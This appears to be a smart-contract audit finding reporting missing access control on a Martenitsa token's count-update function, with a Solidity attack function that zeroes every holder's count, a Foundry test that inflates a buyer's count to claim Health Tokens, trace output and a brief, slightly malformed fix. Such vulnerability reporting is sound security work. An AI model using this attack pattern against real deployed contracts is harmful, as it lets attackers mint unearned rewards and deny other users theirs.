Summary
The lack of access control on MartenitsaToken::updateCountMartenitsaTokensOwner, makes securing Health Tokens impossible. Once a user has purchaced one Martenitsa from the Market, they have free rain to mint health tokens. Also they can bring down users count in the countMartenitsaTokensOwner mapping. This can be done for all the users in one go, making it impossible for users to accumulate enough Martenitsa Tokens to claim their Heath Tokens.
Vulnerability Details
Attack contract function
function AttactTokens() public {
uint b;
for (uint i = 0; i < martenitsaToken.getNextTokenId(); i++) {
address tokenOwner = martenitsaToken.ownerOf(i);
b = martenitsaToken.getCountMartenitsaTokensOwner(tokenOwner);
if (b > 0) {
for (uint j = 0; j < b; j++) {
martenitsaToken.updateCountMartenitsaTokensOwner(tokenOwner, "sub");
}
}
}
}
All users count in the countMartenitsaTokensOwner mapping are at zero.
The GetcountMartenitsaTokenCount is used by the MartenitsaMarketplace:collectReward function to mint rewards. This is showing 0 instead of the true value. So some very very unhappy users. Mean while a very very happy user is minting to his hearts content after buying one Martenitsa. Below is the test:
function teststealhealthTikn() public {
vm.startBroadcast(jack);
martenitsaToken.createMartenitsa("hat");
martenitsaToken.approve(address(marketplace), 0);
marketplace.listMartenitsaForSale(0, 1);
vm.stopBroadcast();
vm.startBroadcast(bob);
marketplace.buyMartenitsa{value: 1}(0);
martenitsaToken.getCountMartenitsaTokensOwner(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.getCountMartenitsaTokensOwner(bob);
marketplace.collectReward();
Output for test:
├─ [1685] MartenitsaToken::updateCountMartenitsaTokensOwner(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], "add") !!!!!!5 of These!!!!!!
│ └─ ← [Stop]
MartenitsaToken::getCountMartenitsaTokensOwner(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ └─ ← [Return] 6
├─ [83060] MartenitsaMarketplace::collectReward()
│ ├─ [2630] MartenitsaToken::isProducer(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ │ └─ ← [Return] false
│ ├─ [627] MartenitsaToken::getCountMartenitsaTokensOwner(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ │ └─ ← [Return] 6
│ ├─ [49091] HealthToken::distributeHealthToken(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 2)
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 2000000000000000000 [2e18]) !!!! 2 Health Tokens!!!!!!.
Impact
Disgruntled users never to return, thief of health Tokens.
Tools Used
foundary
Recommendations
add a line like HealthToken:distributeHealthToken
require(msg.sender == address(_martenitsaMarketplace)
